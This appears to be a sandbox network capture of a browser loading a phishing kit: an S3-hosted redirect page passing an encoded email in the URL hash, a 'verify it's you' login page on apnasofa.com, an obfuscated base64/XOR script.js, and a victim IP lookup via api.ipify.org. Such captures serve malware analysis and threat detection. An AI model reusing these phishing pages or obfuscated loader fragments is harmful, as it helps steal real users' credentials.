2024-12-02 16:55:17 UTC	413	IN	HTTP/1.1 200 OK x-amz-id-2: Vvumulwedxr5rguljCJhqCAooC5Xmbkb9IkhPNCz9JA4W0KtEsFAtq8EtldkCKTYKANlRxiYZ3o= x-amz-request-id: Z6R55CD4QET65FHT Date: Mon, 02 Dec 2024 16:55:18 GMT Last-Modified: Thu, 28 Nov 2024 20:19:57 GMT ETag: "495735a2f76daba1413c4e6e2f30911b" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: text/html Content-Length: 442 Server: AmazonS3 Connection: close
2024-12-02 16:55:17 UTC	442	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 2f 2f 20 47 65 74 20 74 68 65 20 65 6e 63 6f 64 65 64 20 65 6d 61 69 6c 20 70 61 72 61 6d 65 74 65 72 20 66 72 6f 6d 20 74 68 65 20 55 52 4c 20 68 61 73 68 0a 20 20 20 20 20 20 20 20 76 61 72 20 65 6d 61 69 6c 45 6e 63 6f 64 65 64 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2e 73 75 62 73 74 72 69 6e 67 28 31 29 3b 20 2f 2f 20 52 65 6d 6f 76 65 20 74 68 65 20 66 69 72 73 74 20 63 68 61 72 61 63 74 65 72 20 27 23 27 0a 0a 20 20 20 20 20 20 20 20 2f 2f 20 52 65 64 69 72 65 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <script> // Get the encoded email parameter from the URL hash var emailEncoded = window.location.hash.substring(1); // Remove the first character '#' // Redire

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49754	103.160.107.138	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:20 UTC	706	OUT	GET /episode/index HTTP/1.1 Host: apnasofa.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://i--iy.s3.us-east-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:21 UTC	1028	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=2592000 expires: Wed, 01 Jan 2025 16:55:21 GMT content-type: text/html last-modified: Thu, 28 Nov 2024 09:22:09 GMT accept-ranges: bytes content-length: 1471 date: Mon, 02 Dec 2024 16:55:21 GMT server: LiteSpeed x-xss-protection: 1; mode=block x-frame-options: SAMEORIGIN x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: geolocation=self content-security-policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: *; x-permitted-cross-domain-policies: none feature-policy: camera 'none'; microphone 'none'; geolocation 'self' alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-02 16:55:21 UTC	340	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 70 6c 65 61 73 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>pleased</title> <link rel="stylesheet" href="style.css"></head><body> <div class="container"
2024-12-02 16:55:21 UTC	1131	IN	Data Raw: 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 2f 6c 6f 67 6f 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 20 61 6c 74 3d 22 4c 6f 67 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 57 65 20 6e 65 65 64 20 74 6f 20 76 65 72 69 66 79 20 69 74 27 73 20 79 6f 75 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 6d 61 69 6c 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: tainer"> <img src="image/logo.png" class="logo" alt="Logo"> </div> <div class="header"> We need to verify it's you </div> <div class="email-container"> <div

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49755	103.160.107.138	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:21 UTC	553	OUT	GET /episode/style.css HTTP/1.1 Host: apnasofa.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://apnasofa.com/episode/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:22 UTC	1027	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=2592000 expires: Wed, 01 Jan 2025 16:55:22 GMT content-type: text/css last-modified: Thu, 28 Nov 2024 13:58:47 GMT accept-ranges: bytes content-length: 3703 date: Mon, 02 Dec 2024 16:55:22 GMT server: LiteSpeed x-xss-protection: 1; mode=block x-frame-options: SAMEORIGIN x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: geolocation=self content-security-policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: *; x-permitted-cross-domain-policies: none feature-policy: camera 'none'; microphone 'none'; geolocation 'self' alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-02 16:55:22 UTC	341	IN	Data Raw: 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 41 46 41 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 53 65 67 6f 65 20 55 49 27 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 36 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 34 30 70 78 20 61 75 74 6f 3b 0a 20 20 20 Data Ascii: * { margin: 0; padding: 0; box-sizing: border-box;}body { background-color: #FFFAFA; font-family: 'Segoe UI', Arial, sans-serif; line-height: 1.6; color: #333;}.container { max-width: 800px; margin: 40px auto;
2024-12-02 16:55:22 UTC	3362	IN	Data Raw: 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 29 3b 0a 7d 0a 0a 2f 2a 20 4c 6f 67 6f 20 53 74 79 6c 65 73 20 2a 2f 0a 2e 6c 6f 67 6f 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 7d 0a 0a 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 36 30 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 0a 2e 76 65 72 69 66 69 63 61 74 69 6f 6e 2d 73 65 63 74 69 6f 6e 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 Data Ascii: px rgba(0, 0, 0, 0.1);}/* Logo Styles */.logo-container { text-align: center; margin-bottom: 20px; padding: 10px;}.logo { max-width: 160px; height: auto; margin: 0 auto;}.verification-section { text-align: center;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49756	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2nvR5RnwFWOGpbB&MD=eSUd7a8V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-02 16:55:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6e026c3a-5b0c-41d1-a7ed-024c7ff25be7 MS-RequestId: 4d3d8318-7e6b-4f69-b962-befad10df4f1 MS-CV: a1K/K+0heUSh3ce2.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 02 Dec 2024 16:55:22 GMT Connection: close Content-Length: 24490
2024-12-02 16:55:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-02 16:55:23 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49758	103.160.107.138	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:23 UTC	604	OUT	GET /episode/image/logo.png HTTP/1.1 Host: apnasofa.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://apnasofa.com/episode/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:24 UTC	1030	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=31536000 expires: Tue, 02 Dec 2025 16:55:24 GMT content-type: image/png last-modified: Thu, 28 Nov 2024 06:32:18 GMT accept-ranges: bytes content-length: 21327 date: Mon, 02 Dec 2024 16:55:24 GMT server: LiteSpeed x-xss-protection: 1; mode=block x-frame-options: SAMEORIGIN x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: geolocation=self content-security-policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: *; x-permitted-cross-domain-policies: none feature-policy: camera 'none'; microphone 'none'; geolocation 'self' alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-02 16:55:24 UTC	338	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 4f 00 00 01 34 08 06 00 00 00 44 9d 7b b3 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 52 dc 49 44 41 54 78 da ec dd 4b 72 1b 49 da 20 5a af b2 1c 37 d5 2b 20 ea 6e 80 ac 15 10 39 e9 1e 92 35 6f 33 22 57 20 a6 71 01 82 16 40 4b e6 0a 14 32 eb 79 51 c3 be 93 04 57 50 e4 06 ba c0 15 94 78 37 f0 df 70 d0 91 82 28 3e 40 12 08 77 8f 38 c7 2c 0c 59 59 29 21 e0 8f 08 77 ff fc 11 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 7f 79 ea ff fc ff 8e fe 9f f3 f6 63 5f 32 f1 52 ff ed e2 ff 8e 5f f3 e7 3e fc bf 61 d2 7e 4c a4 20 af d0 Data Ascii: PNGIHDRO4D{pHYs.#.#x?vtEXtSoftwareAdobe ImageReadyqe<RIDATxKrI Z7+ n95o3"W q@K2yQWPx7p(>@w8,YY)!w7yc_2R_>a~L
2024-12-02 16:55:24 UTC	14994	IN	Data Raw: 00 00 00 00 41 f0 14 00 00 00 00 00 00 60 41 f0 14 00 00 00 00 00 00 20 08 9e 02 00 00 00 00 00 00 2c 08 9e 02 00 00 00 00 00 00 04 c1 53 00 00 00 00 00 00 80 05 c1 53 00 00 00 00 00 00 80 20 78 0a 00 00 00 00 00 00 b0 20 78 0a 00 00 00 00 00 00 10 04 4f 01 00 00 00 00 00 00 16 04 4f 01 00 00 00 00 00 00 82 e0 29 00 00 00 00 00 00 c0 82 e0 29 00 00 00 00 00 00 40 10 3c 05 00 00 00 00 00 00 58 10 3c 05 00 00 00 00 00 00 08 82 a7 00 00 00 00 00 00 00 0b 82 a7 00 00 00 00 00 00 00 41 f0 14 00 00 00 00 00 00 60 41 f0 14 00 00 00 00 00 00 20 08 9e 02 00 00 00 00 00 00 2c 08 9e 02 00 00 00 00 00 00 04 c1 53 00 00 00 00 00 00 80 05 c1 53 00 00 00 00 00 00 80 20 78 0a 00 00 00 00 00 00 b0 20 78 0a 00 00 00 00 00 00 10 04 4f 01 00 00 00 00 00 00 16 04 4f 01 00 00 Data Ascii: A`A ,SS x xOO))@<X<A`A ,SS x xOO
2024-12-02 16:55:24 UTC	5995	IN	Data Raw: dd 7a 7f 92 b3 bc a4 5d b1 e8 a6 4d f6 ae 84 67 c4 3a 79 2e 78 0a 00 6f d7 b7 40 e3 6d 30 b8 43 47 d2 39 76 a5 0c 82 37 72 84 02 95 f0 3c de 4b b3 c1 87 62 2a df 8b 7e 6f 7c ed c1 f3 7a 56 c0 3d c4 01 d8 21 4d 8c 98 a8 d7 14 cc f1 11 f4 c6 40 ce 8d cf d9 87 9d f6 6d f2 53 9a e0 74 38 f0 76 d9 90 9c 84 bc ab 8c d7 ce 73 c1 53 00 78 a3 b4 fd d6 75 8f 7e d2 85 ad 02 e9 ba cc 15 72 1f 07 6d c7 ed 44 76 a0 7e 3c 68 10 3b 12 a4 55 a7 07 99 6f e3 da ec f7 67 35 ea f5 46 0c 62 f5 69 1a 94 cd fd 7e bf 4d 13 c6 e0 21 82 a7 f4 49 15 db 71 be 45 e6 1d c8 76 43 ff 26 3f 4d b5 cb 86 a1 90 36 d9 da 79 2e 78 0a 00 9b 71 ee b7 40 2f 3a 2b 53 db f7 52 92 34 41 e7 a6 80 5b 89 67 9f 4e 07 90 e4 25 fc c6 46 c9 af a6 5e bc f6 fe 73 9e 97 b6 6a 28 67 7e 4f 43 fe 15 0e 06 66 79 Data Ascii: z]Mg:y.xo@m0CG9v7r<Kb*~o\|zV=!M@mSt8vsSxu~rmDv~<h;Uog5Fbi~M!IqEvC&?M6y.xq@/:+SR4A[gN%F^sj(g~OCfy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49759	103.160.107.138	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:23 UTC	539	OUT	GET /episode/script.js HTTP/1.1 Host: apnasofa.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://apnasofa.com/episode/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:24 UTC	1066	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=2592000 expires: Wed, 01 Jan 2025 16:55:24 GMT content-type: text/javascript last-modified: Thu, 28 Nov 2024 14:11:15 GMT accept-ranges: bytes content-length: 8831 date: Mon, 02 Dec 2024 16:55:24 GMT server: LiteSpeed x-xss-protection: 1; mode=block x-frame-options: SAMEORIGIN x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: geolocation=self content-security-policy: default-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https: ; x-permitted-cross-domain-policies: none feature-policy: camera 'none'; microphone 'none'; geolocation 'self' access-control-allow-origin: alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-02 16:55:24 UTC	302	IN	Data Raw: 76 61 72 20 6b 65 79 20 3d 20 22 73 65 63 72 65 74 6b 65 79 22 3b 0a 76 61 72 20 73 63 72 69 70 74 20 3d 20 61 74 6f 62 28 22 46 77 6f 41 42 77 67 52 42 52 46 58 45 67 45 48 4e 78 4d 52 42 52 45 31 47 68 59 58 46 77 73 52 47 55 31 65 4e 79 6f 75 4d 51 6f 61 48 77 41 58 42 79 6b 4d 45 77 45 52 44 30 4a 56 55 30 31 4b 55 6c 68 4b 53 78 35 7a 55 30 55 50 46 78 46 55 43 68 41 4e 48 41 49 52 45 77 63 57 44 67 45 38 48 67 51 4b 48 6b 56 4a 53 30 4a 65 53 47 39 44 55 67 59 62 42 52 59 4e 55 77 77 51 50 77 6f 57 41 67 6b 63 55 31 68 44 58 51 77 6b 41 77 6f 58 46 68 6b 4b 49 67 51 51 46 77 77 70 48 41 45 66 4d 77 73 51 47 51 6f 51 46 30 6f 4b 58 42 45 52 47 42 46 52 48 51 51 56 47 77 49 56 48 77 6f 4c 58 52 41 51 46 78 63 31 44 41 41 58 42 30 78 59 65 47 39 55 53 Data Ascii: var key = "secretkey";var script = atob("FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0UPFxFUChANHAIREwcWDgE8HgQKHkVJS0JeSG9DUgYbBRYNUwwQPwoWAgkcU1hDXQwkAwoXFhkKIgQQFwwpHAEfMwsQGQoQF0oKXBERGBFRHQQVGwIVHwoLXRAQFxc1DAAXB0xYeG9US
2024-12-02 16:55:24 UTC	8529	IN	Data Raw: 42 41 74 5a 46 41 41 58 4e 77 67 56 41 67 6b 2f 41 51 6f 4f 4a 7a 63 34 51 30 78 5a 43 47 39 44 55 6b 56 55 53 30 55 61 48 41 73 51 42 6b 55 63 43 68 59 52 55 31 68 44 42 51 77 61 44 77 6f 4f 58 51 6b 4d 45 51 51 41 41 67 6f 58 58 51 30 43 41 51 31 61 47 42 41 62 41 42 45 52 47 77 73 54 51 31 52 51 53 47 39 44 55 6b 56 55 53 30 55 51 46 55 56 4c 55 77 30 56 47 41 31 51 55 78 63 47 42 68 41 47 42 55 56 65 56 46 35 70 55 6b 56 55 53 30 56 5a 42 78 63 61 55 68 35 2b 53 30 56 5a 55 30 56 44 55 6b 56 55 53 78 63 63 42 78 41 52 48 45 55 56 48 77 6f 62 57 77 30 43 41 51 31 64 55 47 39 5a 55 30 56 44 55 6b 55 4a 53 77 59 59 42 77 59 4c 55 6b 30 52 51 6b 55 43 65 55 56 44 55 6b 56 55 53 30 56 5a 55 30 55 52 46 78 45 42 47 51 74 5a 56 45 4a 59 65 45 56 55 53 30 56 Data Ascii: BAtZFAAXNwgVAgk/AQoOJzc4Q0xZCG9DUkVUS0UaHAsQBkUcChYRU1hDBQwaDwoOXQkMEQQAAgoXXQ0CAQ1aGBAbABERGwsTQ1RQSG9DUkVUS0UQFUVLUw0VGA1QUxcGBhAGBUVeVF5pUkVUS0VZBxcaUh5+S0VZU0VDUkVUSxccBxARHEUVHwobWw0CAQ1dUG9ZU0VDUkUJSwYYBwYLUk0RQkUCeUVDUkVUS0VZU0URFxEBGQtZVEJYeEVUS0V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49762	104.26.12.205	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:26 UTC	547	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://apnasofa.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://apnasofa.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 16:55:26 UTC	463	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:55:26 GMT Content-Type: application/json Content-Length: 21 Connection: close Access-Control-Allow-Origin: * Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8ebcd8355d178cb3-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2043&min_rtt=2027&rtt_var=772&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1125&delivery_rate=1440552&cwnd=219&unsent_bytes=0&cid=0ad274703fb69b68&ts=476&x=0"
2024-12-02 16:55:26 UTC	21	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 7d Data Ascii: {"ip":"8.46.123.228"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49764	103.160.107.138	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:55:26 UTC	353	OUT	GET /episode/script.js HTTP/1.1 Host: apnasofa.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
